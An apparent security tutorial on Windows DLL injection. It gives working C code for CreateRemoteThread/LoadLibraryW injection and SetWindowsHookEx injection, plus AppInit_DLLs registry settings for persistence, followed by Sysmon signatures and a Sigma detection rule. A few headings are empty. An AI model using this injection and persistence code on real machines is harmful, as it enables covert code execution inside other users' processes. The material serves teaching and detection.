DLL Injection

Classic LoadLibrary injection, AppInit_DLLs persistence, SetWindowsHookEx abuse, and registry-based auto-injection — with detection signatures for each

Classic DLL Injection (T1055.001)

The standard LoadLibrary injection technique requires PROCESS_VM_OPERATION, PROCESS_VM_WRITE, and PROCESS_CREATE_THREAD access rights on the target process:

// Classic DLL injection via CreateRemoteThread + LoadLibraryW
BOOL InjectDLL(DWORD pid, const wchar_t *dllPath)
{
    SIZE_T pathLen = (wcslen(dllPath) + 1) * sizeof(wchar_t);

    HANDLE hProc = OpenProcess(
        PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD,
        FALSE, pid);
    if (!hProc) return FALSE;

    // Step 1: Allocate RW memory in target for the DLL path string
    LPVOID pRemote = VirtualAllocEx(hProc, NULL, pathLen,
                                      MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    // Step 2: Write the DLL path into the remote allocation
    WriteProcessMemory(hProc, pRemote, dllPath, pathLen, NULL);

    // Step 3: Get LoadLibraryW address (same VA in all processes)
    LPVOID pLoadLib = GetProcAddress(GetModuleHandleW(L"kernel32.dll"),
                                      "LoadLibraryW");

    // Step 4: Create a thread in the target starting at LoadLibraryW
    // with the remote DLL path as the argument
    HANDLE hThread = CreateRemoteThread(hProc, NULL, 0,
        (LPTHREAD_START_ROUTINE)pLoadLib, pRemote, 0, NULL);

    WaitForSingleObject(hThread, 5000);
    VirtualFreeEx(hProc, pRemote, 0, MEM_RELEASE);
    CloseHandle(hThread);
    CloseHandle(hProc);
    return TRUE;
}

Classic Injection Flow:
  Injector            Target (explorer.exe)
  ───────             ────────────────────
  OpenProcess(...)
  VirtualAllocEx ─────────────────────── allocate 0x1000 bytes RW
  WriteProcessMemory ──────────────────── write "C:\evil.dll\0"
  GetProcAddress(LoadLibraryW)
  CreateRemoteThread ──────────────────── new thread starts at LoadLibraryW
                                           arg = remote address of DLL path
                                         LoadLibraryW("C:\evil.dll")
                                           → evil.dll maps into explorer
                                           → DllMain runs
  WaitForSingleObject + cleanup

AppInit_DLLs

AppInit_DLLs is a registry value that causes user32.dll to load specified DLLs into every process that loads user32.dll (which is essentially every GUI process). This was originally designed for input method editors and accessibility hooks:

; Registry keys for AppInit_DLLs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
  AppInit_DLLs    = "C:\evil.dll"     <-- DLLs to load
  LoadAppInit_DLLs = 1                <-- 0 = disabled, 1 = enabled
  RequireSignedAppInit_DLLs = 0       <-- 1 = only load signed DLLs

; 64-bit systems also have Wow6432Node for 32-bit processes:
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows

SetWindowsHookEx Injection

Windows hooks (WH_KEYBOARD, WH_MOUSE, WH_CBT, etc.) allow intercepting system-wide events. The hook callback DLL is loaded into every process in the target thread's desktop:

// SetWindowsHookEx injection: the DLL is loaded into all GUI processes
HHOOK gHook;

// In the injector:
HMODULE hDll = LoadLibraryW(L"C:\\inject.dll");
HOOKPROC pCbk = (HOOKPROC)GetProcAddress(hDll, "HookCallback");

// threadId = 0 means all threads in the current desktop
gHook = SetWindowsHookExW(WH_KEYBOARD, pCbk, hDll, 0);
// Now inject.dll is loaded into every GUI process when keyboard event fires

// The DLL must export the callback function:
// __declspec(dllexport) LRESULT CALLBACK HookCallback(int nCode, WPARAM w, LPARAM l)
// { return CallNextHookEx(gHook, nCode, w, l); }

Other Registry-Based Injection

Detection Signatures

# Sysmon events for classic DLL injection:

# Event ID 10 (Process Access):
#   SourceImage: injector.exe
#   GrantedAccess: 0x1FFFFF (PROCESS_ALL_ACCESS) or 0x43A
#     (VM_OP + VM_WRITE + CREATE_THREAD)
#   TargetImage: explorer.exe / lsass.exe / svchost.exe

# Event ID 8 (CreateRemoteThread):
#   SourceImage: injector.exe
#   TargetImage: explorer.exe
#   StartAddress:   ← usually in kernel32.dll range

# Event ID 7 (Image Loaded):
#   Image: explorer.exe
#   ImageLoaded: C:\Users\...\evil.dll  ← loaded into explorer

# Event ID 13 (Registry Value Set):
#   TargetObject: *\Windows NT\CurrentVersion\Windows\AppInit_DLLs
#   Details: contains DLL path

title: Classic DLL Injection via CreateRemoteThread to LoadLibraryW
logsource:
    category: create_remote_thread
    product: windows
detection:
    selection:
        TargetImage|endswith:
            - '\explorer.exe'
            - '\svchost.exe'
            - '\lsass.exe'
        StartModule|endswith: '\kernel32.dll'
        StartFunction: 'LoadLibraryA'
    condition: selection
fields:
    - SourceImage
    - TargetImage
    - StartAddress
    - StartFunction

Q & A